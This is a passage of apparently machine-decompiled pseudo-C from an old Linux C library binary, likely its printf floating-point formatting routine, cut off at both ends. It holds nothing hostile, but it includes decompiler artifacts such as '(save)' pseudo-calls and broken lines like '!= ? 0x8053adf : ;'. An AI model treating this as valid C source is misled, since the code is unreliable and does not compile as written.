                al = 0;
L080534f0:
                Vffffffc4 = eax & 255;
            } else {
                eax = L08057F88( & Vffffffbc, 2, & Vffffffe8, & Vffffffc4, Vfffffff4, Vfffffff8);
                Vffffffdc = eax;
                Vffffffa8 = (Vffffffdc << 5) + -52;
            }
        }
    }
    if(Vffffffac != 0) {
        eax = Ac;
        esi = *eax;
        if(*(eax + 4) > esi) {
            esi = *(eax + 4);
        }
        if(Vffffffc4 == 0) {
            edx = Ac;
            if(*(edx + 36) == 0 && *(edx + 28) == 0) {
                goto L08053553;
            }
        }
        esi = esi - 1;
L08053553:
        esi = esi + -3;
        if(*(Ac + 32) == 0 && esi > 0) {
            ebx = L08062534(A8, 32, esi);
            if(ebx != esi) {
                goto L08054bd6;
            }
            Vffffffa4 = Vffffffa4 + esi;
        }
        if(Vffffffc4 != 0) {
            ecx = A8;
            if(*(ecx + 24) <= *(A8 + 20)) {
                (save)45;
                (save)ecx;
L08053596:
                ebx = L08061910();
                esp = esp + 8;
                if(ebx == -1) {
                    goto L08054bd6;
                }
                goto L0805361b;
            }
            *( *(A8 + 20)) = 45;
            *(A8 + 20) = *(A8 + 20) + 1;
            goto L0805361b;
        }
        if(*(Ac + 36) != 0) {
            edx = A8;
            if(*(edx + 24) <= *(A8 + 20)) {
                (save)43;
                (save)edx;
                goto L08053596;
            }
            *( *(A8 + 20)) = 43;
            *(A8 + 20) = *(A8 + 20) + 1;
            goto L0805361b;
        }
        if(*(Ac + 28) != 0) {
            eax = A8;
            if(*(eax + 24) <= *(A8 + 20)) {
                (save)32;
                (save)eax;
                goto L08053596;
            }
            *( *(A8 + 20)) = 32;
            *(A8 + 20) = *(A8 + 20) + 1;
L0805361b:
            Vffffffa4 = Vffffffa4 + 1;
        }
        ebx = 2;
        do {
            eax = Vffffffac;
            edi = *eax & 255;
            Vffffffac = eax + 1;
            ecx = A8;
            if(*(ecx + 24) > *(A8 + 20)) {
                ecx = edi;
                Vffffff60 = cl;
                *( *(A8 + 20)) = cl;
                *(A8 + 20) = *(A8 + 20) + 1;
                if((Vffffff60 & 255) == -1) {
                    goto L08054bd6;
                } else {
                    goto L08053686;
                }
            }
            edi = edi & 255;
            Vffffff64 = edi;
            if(L08061910(ecx, Vffffff64) == -1) {
                goto L08054bd6;
            }
L08053686:
            Vffffffa4 = Vffffffa4 + 1;
            eax = ebx;
            ebx = ebx - 1;
        } while(eax != 0);
        if(*(Ac + 32) != 0 && esi > 0) {
            (save)esi;
            (save)32;
            (save)A8;
            if(L08062534() != esi) {
                goto L08054bd6;
            }
            Vffffffa4 = Vffffffa4 + esi;
        }
    } else {
        esi = Vffffffe8;
        if(esi < 0) {
            esi = ~esi;
        }
        ebx = esi;
        if(!(esi = esi + 31)) {
            ebx = esi + 31;
        }
        eax = (ebx >> 5) * 4 + 16;
        esp = esp - eax;
        Vffffffe0 = esp;
        esp = esp - eax;
        Vffffffd0 = esp;
        esp = esp - eax;
        Vffffffd4 = esp;
        Vffffffe4 = 0;
        if(Vffffffe8 > 2) {
            edi = 0;
            Vffffffa0 = 12;
            Vffffff9c = 0;
            Vffffff98 = "@(#) The Linux C library 5.3.12";
            Vffffff60 = Vffffffa8 + Vffffffe8;
            if(!(Vffffff60 & 31)) {
                Vffffff5c = ecx;
                if(!(ecx = Vffffffdc - 1)) {
                    ebx = ecx * 4;
                    esi = !ecx & 3;
                    if(Vffffff5c > -1) {
                        if(esi == 0) {
                            goto L08053800;
                        }
                        if(esi < 3) {
                            if(esi < 2) {
                                esi = Vffffff60;
                                if(esi < 0) {
                                    esi = esi + 31;
                                }
                                esi = esi >> 5;
                                Vffffff64 = esi;
                                eax = ebx + Vffffff64 * 4 + Vffffffe0;
                                *eax = *(ebp + Vffffff5c * 4 - 68);
                                ebx = ebx + -4;
                                Vffffff5c = Vffffff5c - 1;
                            }
                            if(!(esi = Vffffffa8 + Vffffffe8)) {
                                esi = esi + 31;
                            }
                            esi = esi >> 5;
                            Vffffff64 = esi;
                            ecx = ebx + Vffffff64 * 4 + Vffffffe0;
                            *ecx = *(ebp + Vffffff5c * 4 - 68);
                            ebx = ebx + -4;
                            Vffffff5c = Vffffff5c - 1;
                        }
                    }
                    if(!(esi = Vffffffa8 + Vffffffe8)) {
                        esi = esi + 31;
                    }
                    esi = esi >> 5;
                    Vffffff64 = esi;
                    edx = ebx + Vffffff64 * 4 + Vffffffe0;
                    *edx = *(ebp + Vffffff5c * 4 - 68);
                    ebx = ebx + -4;
                    if(!(Vffffff5c = Vffffff5c - 1)) {
L08053800:
                        do {
                            if(!(esi = Vffffffa8 + Vffffffe8)) {
                                esi = esi + 31;
                            }
                            esi = esi >> 5;
                            Vffffff64 = esi;
                            eax = ebx + Vffffff64 * 4 + Vffffffe0;
                            *eax = *(ebp + Vffffff5c * 4 - 68);
                            Vffffff60 = ebx - 4;
                            esi = Vffffff5c - 1;
                            Vffffff64 = eax;
                            if(!(eax = Vffffffa8 + Vffffffe8)) {
                                Vffffff64 = eax + 31;
                            }
                            esi = *(ebp + esi * 4 - 68);
                            Vfffffeb0 = esi;
                            *(Vffffff60 + (Vffffff64 >> 5) * 4 + Vffffffe0) = Vfffffeb0;
                            Vffffff60 = ebx - 8;
                            esi = Vffffff5c + -2;
                            Vffffff64 = edx;
                            if(!(edx = Vffffffa8 + Vffffffe8)) {
                                Vffffff64 = edx + 31;
                            }
                            esi = *(ebp + esi * 4 - 68);
                            Vfffffeac = esi;
                            *(Vffffff60 + (Vffffff64 >> 5) * 4 + Vffffffe0) = Vfffffeac;
                            Vffffff60 = ebx - 12;
                            esi = Vffffff5c + -3;
                            Vffffff64 = ecx;
                            if(!(ecx = Vffffffa8 + Vffffffe8)) {
                                Vffffff64 = ecx + 31;
                            }
                            esi = *(ebp + esi * 4 - 68);
                            Vfffffea8 = esi;
                            *(Vffffff60 + (Vffffff64 >> 5) * 4 + Vffffffe0) = Vfffffea8;
                            ebx = ebx + -16;
                        } while(Vffffff5c = Vffffff5c + -4);
                    }
                }
                if(!(ebx = Vffffffa8 + Vffffffe8)) {
                    ebx = ebx + 31;
                }
                Vffffffdc = Vffffffdc + (ebx >> 5);
            } else {
                esi = ebx;
                if(!(ebx = Vffffffa8 + Vffffffe8)) {
                    esi = ebx + 31;
                }
                (save)ebx - (esi & 224);
                (save)Vffffffdc;
                (save) & Vffffffbc;
                if(!(ebx = Vffffffa8 + Vffffffe8)) {
                    ebx = ebx + 31;
                }
                (save)(ebx >> 5 << 2) + Vffffffe0;
                Vffffffd8 = L08058710();
                if(!(ebx = Vffffffa8 + Vffffffe8)) {
                    ebx = ebx + 31;
                }
                Vffffffdc = Vffffffdc + (ebx >> 5);
                esp = esp + 16;
                if(Vffffffd8 != 0) {
                    ecx = Vffffffdc << 2;
                    Vffffff5c = ecx;
                    *(Vffffffe0 + Vffffff5c) = Vffffffd8;
                    Vffffffdc = Vffffffdc + 1;
                }
            }
            Vffffff5c = 0;
            ebx = Vffffffe0;
            for(Vffffff60 = 0; 1; Vffffff5c = Vffffff5c + 1) {
                if(!(esi = Vffffffa8 + Vffffffe8)) {
                    esi = esi + 31;
                }
                if(Vffffff5c >= esi >> 5) {
                    break;
                }
                ecx = Vffffff60;
                *(ebx + ecx) = 0;
                Vffffff60 = ecx + 4;
            }
            esi = Vffffff98 + 4;
            do {
                esi = esi + -16;
                Vffffff98 = Vffffff98 + -16;
                if(Vffffffe8 >= edi + *(esi + 4) - 1) {
                    if(Vffffffe4 != 0) {
                        eax = L0805876C(Vffffffd0, Vffffffd4, Vffffffe4, *Vffffff98 + 8, *esi + -2);
                        Vffffff5c = eax;
                        Vffffffd8 = Vffffff5c;
                        ebx = Vffffffe4 + *esi + -2;
                        if(Vffffff5c == 0) {
                            ebx = ebx - 1;
                        }
                    } else {
                        ebx = *esi;
                        L0805652C(Vffffffd0, *Vffffff98, ebx * 4);
                    }
                    if(Vffffffdc > ebx) {
                        goto L08053a86;
                    }
                    != ? 0x8053adf : ;
                    if(L08057F48(Vffffffe0, Vffffffd0, ebx) >= 0) {
L08053a86:
                        Vffffffe4 = ebx;
                        ebx = ebx << 2;
                        Vffffff64 = ebx;
                        L0805652C(Vffffffd4, Vffffffd0, Vffffff64);
                        edx = Vffffffe4 << 2;
                        Vffffff64 = edx;
                        edx = Vffffff64 + Vffffffd4 + -4;
                        asm("bsr ecx,[edx]");
                        Vffffff60 = Vffffffe4 + -2 << 5;
                        edi = (ecx ^ -32) + Vffffff60;
                        Vffffff9c = Vffffff9c | 1 << Vffffffa0;
                    }
                }
                Vffffffa0 = Vffffffa0 - 1;
            } while(Vffffff98 > 0x8068dac);
            edx = Vffffff9c;
            Vffffffe8 = edx;
            if(Vffffffe4 > 0) {
                edi = 0;
                esi = Vffffffd4;
                if(*esi == 0) {
                    ebx = Vffffffe0;
                    if(*ebx == 0) {
                        edi = 1;
                        if(*(esi + 4) == 0 && *(ebx + 4) == 0) {
                            Vffffff5c = esi;
                            esi = ebx;
                            ebx = 4;
                            do {
                                ebx = ebx + 4;
                                edi = edi + 1;
                                if(*(Vffffff5c + ebx) != 0) {
                                    goto L08053b46;
                                }
                            } while(*(esi + ebx) == 0);
                        }
                    }
                }
L08053b46:
                eax = Vffffffe4 << 2;
                Vffffff64 = eax;
                eax = Vffffff64 + Vffffffd4 + -4;
                asm("bsr edx,[eax]");
                bl = edx ^ 31;
                if(ebx == 0) {
                    if(edi > 0) {
                        ecx = Vffffffe4 - edi;
                        Vffffff64 = ecx;
                        if(ebx < ecx) {
                            eax = Vffffffd4;
                            Vffffff5c = eax;
                            edx = edi * 4;
                            Vffffff60 = edx;
                            ebx = 0;
                            esi = ecx * 4;
                            Vffffff64 = ecx;
                            if(ecx = ecx & 3) {
                                goto L08053c0a;
                            }
                            if(ecx > 1) {
                                if(ecx > 2) {
                                    *eax = *(edx + Vffffffd4);
                                    Vffffff60 = Vffffff60 + 4;
                                    ebx = 4;
                                }
                                *(Vffffff5c + ebx) = *(Vffffff60 + Vffffffd4);
                                Vffffff60 = Vffffff60 + 4;
                                ebx = ebx + 4;
                            }
                            *(Vffffff5c + ebx) = *(Vffffff60 + Vffffffd4);
                            Vffffff60 = Vffffff60 + 4;
                            ebx = ebx + 4;
                            if(ebx != esi) {
L08053c0a:
                                Vffffff5c = Vffffff5c + ebx;
                                do {
                                    eax = Vffffff5c;
                                    *eax = *(Vffffff60 + Vffffffd4);
                                    *(eax + 4) = *(Vffffff60 + Vffffffd4 + 4);
                                    ecx = Vffffff5c;
                                    *(ecx + 8) = *(Vffffff60 + Vffffffd4 + 8);
                                    *(ecx + 12) = *(Vffffff60 + Vffffffd4 + 12);
                                    Vffffff60 = Vffffff60 + 16;
                                    Vffffff5c = ecx + 16;
                                    ebx = ebx + 16;
                                } while(ebx != esi);
                            }
                        }
                        Vffffffe4 = Vffffffe4 - edi;
                        ecx = Vffffffdc - edi;
                        Vffffff64 = ecx;
                        if(ecx > 0) {
                            eax = Vffffffe0;
                            Vffffff5c = eax;
                            edx = edi * 4;
                            Vffffff60 = edx;
                            ebx = 0;
                            esi = ecx * 4;
                            Vffffff64 = ecx;
                            if(ecx = ecx & 3) {
                                goto L08053d12;
                            }
                            if(ecx > 1) {
                                if(ecx > 2) {
                                    *eax = *(edx + Vffffffe0);
                                    Vffffff60 = Vffffff60 + 4;
                                    ebx = 4;
                                }
                                *(Vffffff5c + ebx) = *(Vffffff60 + Vffffffe0);
                                Vffffff60 = Vffffff60 + 4;
                                ebx = ebx + 4;
                            }
                            *(Vffffff5c + ebx) = *(Vffffff60 + Vffffffe0);
                            Vffffff60 = Vffffff60 + 4;
                            ebx = ebx + 4;
                            if(ebx != esi) {
L08053d12:
                                Vffffff5c = Vffffff5c + ebx;
                                do {
                                    eax = Vffffff5c;
                                    *eax = *(Vffffff60 + Vffffffe0);
                                    *(eax + 4) = *(Vffffff60 + Vffffffe0 + 4);
                                    ecx = Vffffff5c;
                                    *(ecx + 8) = *(Vffffff60 + Vffffffe0 + 8);
                                    *(ecx + 12) = *(Vffffff60 + Vffffffe0 + 12);
                                    Vffffff60 = Vffffff60 + 16;
                                    Vffffff5c = ecx + 16;
                                    ebx = ebx + 16;
                                } while(ebx != esi);
                            }
                        }
                        Vffffffdc = Vffffffdc - edi;
                    }
                } else {
                    esi = edi * 4;
                    ecx = Vffffffd4;
                    Vffffff5c = ecx;
                    if(*(Vffffff5c + esi) != 0) {
                        asm("bsf eax,[ecx+esi]");
                        Vffffff60 = eax;
                        edx = Vffffffe0;
                        Vffffff5c = edx;
                        if(*(Vffffff5c + esi) != 0) {
                            asm("bsf esi,[edx+esi]");
                            if(esi < eax) {
                                Vffffff60 = esi;
                            }
                        }
                    } else {
                        ecx = edi * 4;
                        eax = Vffffffe0;
                        asm("bsf eax,[eax+ecx]");
                        Vffffff60 = eax;
                    }
                    if(edi == 0) {
                        if(Vffffff60 >= 32 - ebx) {
                            goto L08053e47;
                        }
                        eax = Vffffffd4;
                        L08058710();
                        eax = Vffffffe0;
                        ebx = L08058710(eax, eax, Vffffffdc, ebx, eax, eax, Vffffffe4, ebx);
                        Vffffffd8 = ebx;
                        if(ebx != 0) {
                            edx = Vffffffdc << 2;
                            Vffffff60 = edx;
                            *(Vffffffe0 + Vffffff60) = ebx;
                            Vffffffdc = Vffffffdc + 1;
                        }
                    } else {
                        if(Vffffff60 >= 32 - ebx) {
L08053e47:
                            esi = 32 - ebx;
                            (save)esi;
                            (save)Vffffffe4 - edi;
                            ebx = edi * 4;
                            (save)ebx + Vffffffd4;
                            (save)Vffffffd4;
                            L08059FB0();
                            Vffffffe4 = Vffffffe4 - 1 - edi;
                            (save)esi;
                            (save)Vffffffdc - edi;
                            (save)ebx + Vffffffe0;
                            (save)Vffffffe0;
                            L08059FB0();
                            esp = esp + 32;
                            if(*((Vffffffdc - edi << 2) + Vffffffe0 - 4) != 0) {
                                goto L08053efc;
                            }
                            ebx = Vffffffdc - 1;
                            goto L08053eff;
                        }
                        esi = 32 - ebx;
                        (save)esi;
                        (save)Vffffffe4 + 1 - edi;
                        ebx = edi * 4 + -4;
                        (save)ebx + Vffffffd4;
                        (save)Vffffffd4;
                        L08059FB0();
                        Vffffffe4 = Vffffffe4 - edi;
                        (save)esi;
                        (save)Vffffffdc + 1 - edi;
                        (save)ebx + Vffffffe0;
                        (save)Vffffffe0;
                        L08059FB0();
                        esp = esp + 32;
                        ebx = Vffffffdc + 1 - edi;
                        if(*(ebx * 4 + Vffffffe0 - 4) == 0) {
L08053efc:
                            ebx = Vffffffdc;
L08053eff:
                            ebx = ebx - edi;
                        }
                        Vffffffdc = ebx;
                    }
                }
            }
        } else {
            if(Vffffffe8 < 0) {
                Vffffff94 = 0;
                Vffffff90 = 12;
                Vffffff8c = "@(#) The Linux C library 5.3.12";
                L08058710(Vffffffe0, & Vffffffbc, Vffffffdc, Vffffffa8);
                Vffffffd8 = eax;
                Vffffff60 = Vffffffdc << 2;
                *(Vffffffe0 + Vffffff60) = Vffffffd8;
                Vffffffdc = Vffffffdc + 1;
                Vfffffff0 = 1;
                Vffffffe8 = ~Vffffffe8;
                Vffffff68 = " The Linux C library 5.3.12";
                do {
                    Vffffff68 = Vffffff68 + -16;
                    Vffffff8c = Vffffff8c + -16;
                    eax = Vffffff68;
                    if(*(eax + 8) <= Vffffffe8) {
                        ebx = *eax + -2;
                        if(Vffffffdc >= ebx) {
                            (save) *Vffffff68 + -2;
                            (save) *Vffffff8c + 8;
                            (save)Vffffffdc;
                            (save)Vffffffe0;
                            (save)Vffffffd0;
                        } else {
                            (save)Vffffffdc;
                            (save)Vffffffe0;
                            (save)ebx;
                            (save) *Vffffff8c + 8;
                            (save)Vffffffd0;
                        }
                        Vffffffd8 = L0805876C();
                        esp = esp + 20;
                        ebx = Vffffffdc + *Vffffff68 + -2;
                        if(Vffffffd8 == 0) {
                            ebx = ebx - 1;
                        }
                        eax = ebx * 4 + Vffffffd0 + -4;
                        asm("bsr eax,[eax]");
                        esi = eax ^ 31;
                        edx = ebx - Vffffffdc << 5;
                        eax = esi - 31;
                        edi = edx - eax;
                        if(edi == Vffffffe8 + 3) {
                            if(esi > 28) {
                                Vffffffb4 = -1610612736;
                                Vffffffb8 = 0;
                                eax = & Vffffffb4;
                                L08058710(eax, eax, 2, 32 - esi);
                            } else {
                                Vffffffb4 = 0;
                                ecx = 28 - esi;
                                Vffffffb8 = 10 << cl;
                            }
                        }
                        edx = Vffffffe8 + 3;
                        Vffffff5c = edx;
                        if(edi < Vffffff5c) {
                            goto L080540b3;
                        }
                        != ? 0x80542d6 : ;
                        ecx = ebx * 4 + Vffffffd0;
                        Vffffff5c = ecx;
                        eax = *(ecx - 4);
                        Vffffff60 = eax;
                        if(Vffffffb8 > Vffffff60) {
                            goto L080540b3;
                        }
                        != ? 0x80542d6 : ;
                        if(Vffffffb4 > *(ecx - 8)) {
L080540b3:
                            Vffffffe8 = Vffffffe8 - edi;
                            Vffffff94 = Vffffff94 | 1 << Vffffff90;
                            if(Vffffffe8 < 0) {
                                esi = esi - Vffffffe8;
                            }
                            edi = 0;
                            eax = Vffffffd0;
                            Vffffff5c = eax;
                            if(*eax == 0) {
                                Vffffff60 = eax;
                                Vffffff5c = 0;
                                do {
                                    Vffffff5c = Vffffff5c + 4;
                                    edi = edi + 1;
                                    ecx = Vffffff60;
                                } while(*(ecx + Vffffff5c) == 0);
                            }
                            if(esi != 31) {
                                eax = edi * 4;
                                edx = Vffffffd0;
                                Vffffff5c = edx;
                                asm("bsf ecx,[edx+eax]");
                                Vffffff60 = ecx;
                                if(edi != 0) {
                                    if(Vffffff60 >= 31 - esi) {
                                        goto L0805429b;
                                    }
                                    (save)31 - esi;
                                    ebx = ebx + 1 - edi;
                                    (save)ebx;
                                    eax = edi * 4 + -4;
                                } else {
                                    if(31 - esi > ecx) {
                                        goto L0805425d;
                                    }
L0805429b:
                                    (save)31 - esi;
                                    ebx = ebx - edi;
                                    (save)ebx;
                                    eax = edi * 4;
                                }
                                (save)eax + Vffffffd0;
                                (save)Vffffffe0;
                                L08059FB0();
                                Vffffffdc = ebx;
                                goto L080542d3;
L0805425d:
                                esi = esi + 1;
                                Vffffff64 = esi;
                                (save)Vffffff64;
                                (save)ebx;
                                (save)edx;
                                (save)Vffffffe0;
                                esi = L08058710();
                                Vffffffd8 = esi;
                                Vffffffdc = ebx + 1;
                                *(ebx * 4 + 4 + Vffffffe0 - 4) = esi;
L080542d3:
                                esp = esp + 16;
                            } else {
                                eax = ebx - edi;
                                Vffffff64 = eax;
                                if(eax > 0) {
                                    Vffffff5c = Vffffffe0;
                                    ecx = edi * 4;
                                    Vffffff60 = ecx;
                                    esi = 0;
                                    Vffffff6c = eax << 2;
                                    Vffffff64 = edx;
                                    if(edx = Vffffff64 & 3) {
                                        goto L080541ba;
                                    }
                                    if(edx > 1) {
                                        if(edx > 2) {
                                            ecx = *(ecx + Vffffffd0);
                                            *Vffffff5c = ecx;
                                            Vffffff60 = Vffffff60 + 4;
                                            esi = 4;
                                        }
                                        *(Vffffff5c + esi) = *(Vffffff60 + Vffffffd0);
                                        Vffffff60 = Vffffff60 + 4;
                                        esi = esi + 4;
                                    }
                                    *(Vffffff5c + esi) = *(Vffffff60 + Vffffffd0);
                                    Vffffff60 = Vffffff60 + 4;
                                    esi = esi + 4;
                                    if(Vffffff6c != esi) {
L080541ba:
                                        Vffffff5c = Vffffff5c + esi;
                                        do {
                                            edx = Vffffff5c;
                                            *edx = *(Vffffff60 + Vffffffd0);
                                            *(edx + 4) = *(Vffffff60 + Vffffffd0 + 4);
                                            eax = Vffffff5c;
                                            *(eax + 8) = *(Vffffff60 + Vffffffd0 + 8);
                                            *(eax + 12) = *(Vffffff60 + Vffffffd0 + 12);
                                            Vffffff60 = Vffffff60 + 16;
                                            Vffffff5c = eax + 16;
                                            esi = esi + 16;
                                        } while(Vffffff6c != esi);
                                    }
                                }
                                Vffffffdc = ebx - edi;
                            }
                        }
                    }
                    Vffffff90 = Vffffff90 - 1;
                    if(Vffffff8c == 0x8068dbc) {
                        break;
                    }
                } while(Vffffffe8 > 0);
                if(Vffffffe8 > 0) {
                    Vffffffd8 = L08058DE0(Vffffffd0, Vffffffe0, Vffffffdc, 10);
                    ebx = Vffffffdc;
                    eax = Vffffffd0;
                    asm("bsf esi,[eax]");
                    if(Vffffffe8 <= 4) {
                        if(Vffffffe8 > esi) {
                            goto L0805432d;
                        }
                        goto L08054364;
                    }
                    if(esi <= 3) {
L0805432d:
                        esi = 28;
                        if(Vffffffe8 <= 4) {
                            esi = 32 - Vffffffe8;
                        }
                        esi = L08058710(Vffffffe0, Vffffffd0, ebx, esi);
                        Vffffffd8 = esi;
                        if(esi != 0) {
                            *(Vffffffe0 + ebx * 4) = esi;
                            ebx = ebx + 1;
                        }
                    } else {
L08054364:
                        esi = 4;
                        if(Vffffffe8 <= 4) {
                            esi = Vffffffe8;
                        }
                        L08059FB0(Vffffffe0, Vffffffd0, ebx, esi);
                    }
                    Vffffffdc = ebx;
                    Vffffff94 = Vffffff94 | 1;
                }
                Vffffffe8 = Vffffff94;
            } else {
                ebx = L08058710(Vffffffe0, & Vffffffbc, Vffffffdc, Vffffffa8 + Vffffffe8);
                Vffffffd8 = ebx;
                ecx = Vffffffdc << 2;
                Vffffff60 = ecx;
                *(Vffffffe0 + Vffffff60) = Vffffffd8;
                Vffffffdc = Vffffffdc + 1;
                Vffffffe8 = 0;
            }
        }
        Vffffff88 = *(Ac + 4);
        Vffffff80 = 0;
        Vffffff78 = 0;
        ecx = Ac;
        ebx = *(ecx + 8) & 255;
        if(*( *L08078FA4 + ebx * 4) == 101) {
            Vffffffec = ebx;
            Vffffff84 = 1;
            esi = *ecx;
            if(esi < 0) {
                esi = 6;
            }
            Vffffff7c = esi;
            ebx = esi + 8;
            goto L08054466;
        }
        edx = Ac;
        if(*(edx + 8) == 102) {
            Vffffffec = 102;
            esi = *edx;
            if(esi < 0) {
                esi = 6;
            }
            Vffffff7c = esi;
            if(Vfffffff0 == 0) {
                Vffffff84 = Vffffffe8 + 1;
                ebx = esi + 2 + Vffffffe8;
            } else {
                Vffffff84 = 1;
                ebx = esi + 2;
            }
L08054466:
            Vffffff74 = 2147483647;
            Vffffff70 = 1;
        } else {
            edx = Ac;
            if(*edx >= 0) {
                ecx = *edx;
                Vffffff74 = ecx;
                if(Vffffff74 == 0) {
                    Vffffff74 = 1;
                }
            } else {
                Vffffff74 = 6;
            }
            if(Vfffffff0 == 0) {
                if(Vffffffe8 >= Vffffff74) {
                    goto L080544c6;
                }
                goto L08054500;
            }
            if(Vffffffe8 > 4) {
L080544c6:
                ebx = 101;
                if(!( *( *L08078FA0 + ( *(Ac + 8) & 255) * 2 + 1) & 1)) {
                    ebx = 69;
                }
                Vffffffec = ebx;
                esi = Vffffff74 - 1;
                Vffffff84 = 1;
                ebx = Vffffff74 + 7;
            } else {
L08054500:
                Vffffffec = 102;
                Vffffff84 = 0;
                if(Vfffffff0 == 0) {
                    Vffffff84 = Vffffffe8 + 1;
                }
                esi = Vffffff74 - Vffffff84;
                ebx = Vffffff74 + Vffffff74 + 1;
            }
            Vffffff7c = 0;
            if(*(Ac + 24) != 0) {
                Vffffff7c = esi;
            }
            Vffffff70 = 0;
        }
        if(Vffffffb0 != 0) {
            ebx = ebx + L08054C28(Vffffff84, Vffffffb0, Vffffffc8);
        }
        esp = esp - (ebx + 5 & 252);
        edi = & A166;
        ebx = edi;
        if(Vfffffff0 != 0 && Vffffffec == 102) {
            goto L08054644;
        }
        ecx = Vffffff84;
        if(Vffffff80 < ecx) {
            Vffffff5c = eax;
            if(eax = ecx - Vffffff80 & 3) {
                goto L080545dc;
            }
            if(eax > 1) {
                if(eax > 2) {
                    Vffffff80 = Vffffff80 + 1;
                    ecx = ebp;
                    L080531DC();
                    *ebx = al;
                    ebx = ebx + 1;
                }
                Vffffff80 = Vffffff80 + 1;
                ecx = ebp;
                L080531DC();
                *ebx = al;
                ebx = ebx + 1;
            }
            Vffffff80 = Vffffff80 + 1;
            ecx = ebp;
            L080531DC();
            *ebx = al;
            ebx = ebx + 1;
            if(Vffffff80 < Vffffff84) {
L080545dc:
                do {
                    ecx = ebp;
                    L080531DC();
                    *ebx = al;
                    ecx = ebp;
                    L080531DC();
                    *(ebx + 1) = al;
                    ecx = ebp;
                    L080531DC();
                    *(ebx + 2) = al;
                    Vffffff80 = Vffffff80 + 4;
                    ecx = ebp;
                    L080531DC();
                    *(ebx + 3) = al;
                    ebx = ebx + 4;
                } while(Vffffff80 < Vffffff84);
            }
        }
        Vffffff70 = 1;
        if(*(Ac + 24) == 0 && Vffffff7c <= 0) {
            if(esi <= 0) {
                goto L08054651;
            }
            if(Vffffffdc <= 1) {
                if(*Vffffffe0 == 0) {
                    goto L08054651;
                }
                goto L0805464b;
L08054644:
                *ebx = 48;
                ebx = ebx + 1;
                Vffffffe8 = Vffffffe8 - 1;
            }
        }
L0805464b:
        *ebx = Vffffffcc;
        ebx = ebx + 1;
L08054651:
        if(Vffffff78 >= Vffffff7c) {
            if(Vffffff78 >= esi) {
                goto L080546c8;
            }
L08054668:
            if(Vffffffdc <= 1 && *Vffffffe0 == 0) {
                goto L080546c8;
            }
        }
        do {
            Vffffff78 = Vffffff78 + 1;
            ecx = ebp;
            L080531DC();
            *ebx = al;
            if(al == 48) {
                if(Vffffff70 == 0) {
                    esi = esi + 1;
                    if(Vffffff7c > 0) {
                        Vffffff7c = Vffffff7c + 1;
                    }
                }
            } else {
                Vffffff70 = 1;
            }
            ebx = ebx + 1;
        } while(Vffffff78 < Vffffff7c);
        if(Vffffff78 < esi) {
            goto L08054668;
        }
L080546c8:
        ecx = ebp;
        L080531DC();
        esi = al & 255;
        if(esi > 52) {
            Vffffff5c = ebx;
            if(esi != 53 || Vffffffdc != 1 || *Vffffffe0 != 0) {
                goto L080546fe;
            }
            if(!( *(ebx - 1) & 1)) {
L080546fe:
                if(Vffffff78 > 0) {
                    Vffffff5c = Vffffff5c - 1;
                    if(Vffffffcc != ( *Vffffff5c & 255)) {
                        do {
                            eax = Vffffff5c;
                            if(*eax != 57) {
                                break;
                            }
                            *eax = 48;
                            eax = eax - 1;
                            Vffffff5c = eax;
                        } while(Vffffffcc != ( *Vffffff5c & 255));
                        if(Vffffffcc != ( *Vffffff5c & 255)) {
                            *Vffffff5c = *Vffffff5c + 1;
                        }
                    }
                }
                if(Vffffff78 == 0) {
                    goto L0805476a;
                }
                if(Vffffffcc == ( *Vffffff5c & 255)) {
L0805476a:
                    if(Vffffffcc == ( *(Vffffff5c - 1) & 255)) {
                        Vffffff5c = Vffffff5c - 1;
                    }
                    Vffffff5c = Vffffff5c - 1;
                    if(Vffffff5c >= edi) {
                        edx = edi - 1;
                        esi = edx - Vffffff5c & 3;
                        if(Vffffff5c > edx) {
                            if(esi == 0) {
                                goto L08054800;
                            }
                            if(esi < 3) {
                                if(esi < 2) {
                                    eax = Vffffff5c;
                                    if(*eax != 57) {
                                        goto L08054846;
                                    }
                                    *eax = 48;
                                    Vffffff5c = eax - 1;
                                }
                                edx = Vffffff5c;
                                if(*edx != 57) {
                                    goto L08054846;
                                }
                                *edx = 48;
                                Vffffff5c = edx - 1;
                            }
                        }
                        ecx = Vffffff5c;
                        if(*ecx != 57) {
                            goto L08054846;
                        }
                        *ecx = 48;
                        ecx = ecx - 1;
                        Vffffff5c = ecx;
                        if(Vffffff5c >= edi) {
L08054800:
                            do {
                                eax = Vffffff5c;
                                if(*eax != 57) {
                                    break;
                                }
                                *eax = 48;
                                eax = eax - 1;
                                Vffffff5c = eax;
                                if(*eax != 57) {
                                    break;
                                }
                                *eax = 48;
                                eax = eax - 1;
                                Vffffff5c = eax;
                                if(*eax != 57) {
                                    break;
                                }
                                *eax = 48;
                                eax = eax - 1;
                                Vffffff5c = eax;
                                if(*eax != 57) {
                                    break;
                                }
                                *eax = 48;
                                eax = eax - 1;
                                Vffffff5c = eax;
                            } while(Vffffff5c >= edi);
L08054846:
                            if(Vffffff5c >= edi) {
                                *Vffffff5c = *Vffffff5c + 1;
                                goto L08054914;
                            }
                        }
                    }
                    if(Vffffffec != 102) {
                        *edi = 49;
                        esi = Vfffffff0 == 0 ? Vffffffe8 + 1 : Vffffffe8 - 1;
                        Vffffffe8 = esi;
                    } else {
                        if(Vffffff80 == Vffffff74) {
                            edi = edi - 1;
                            al = Vffffffcc;
                            *edi = al;
                            edi = edi - 1;
                            *edi = 49;
                            if(*(Ac + 24) != 0 || Vffffff78 > 0) {
                                *(edi + Vffffff80 + 2) = 48;
                                Vffffff78 = Vffffff78 + 1;
                            }
                            Vffffff78 = Vffffff78 + Vffffff80;
                            Vffffff80 = 1;
                            Vffffffe8 = Vffffffe8 + 1;
                            esi = 101;
                            if(!( *( *L08078FA0 + ( *(Ac + 8) & 255) * 2 + 1) & 1)) {
                                esi = 69;
                            }
                            Vffffffec = esi;
                        } else {
                            edi = edi - 1;
                            *edi = 49;
                            Vffffff80 = Vffffff80 + 1;
                        }
                    }
                    esi = Vffffff80 + Vffffff78;
                    if(Vffffff74 < esi) {
                        eax = esi - Vffffff74;
                        ebx = ebx - eax;
                        Vffffff78 = Vffffff78 - eax;
                    }
                }
            }
        }
L08054914:
        do {
            if(*(ebx - 1) != 48) {
                break;
            }
            ebx = ebx - 1;
            Vffffff78 = Vffffff78 - 1;
        } while(Vffffff78 > Vffffff7c);
        if(Vffffff78 == 0 && *(Ac + 24) == 0 && Vffffffcc == ( *(ebx - 1) & 255)) {
            ebx = ebx - 1;
        }
        if(Vffffffb0 != 0) {
            ebx = L08054C7C(edi, ebx, Vffffff80, Vffffffb0, Vffffffc8);
        }
        if(Vffffffec != 102) {
            *ebx = Vffffffec;
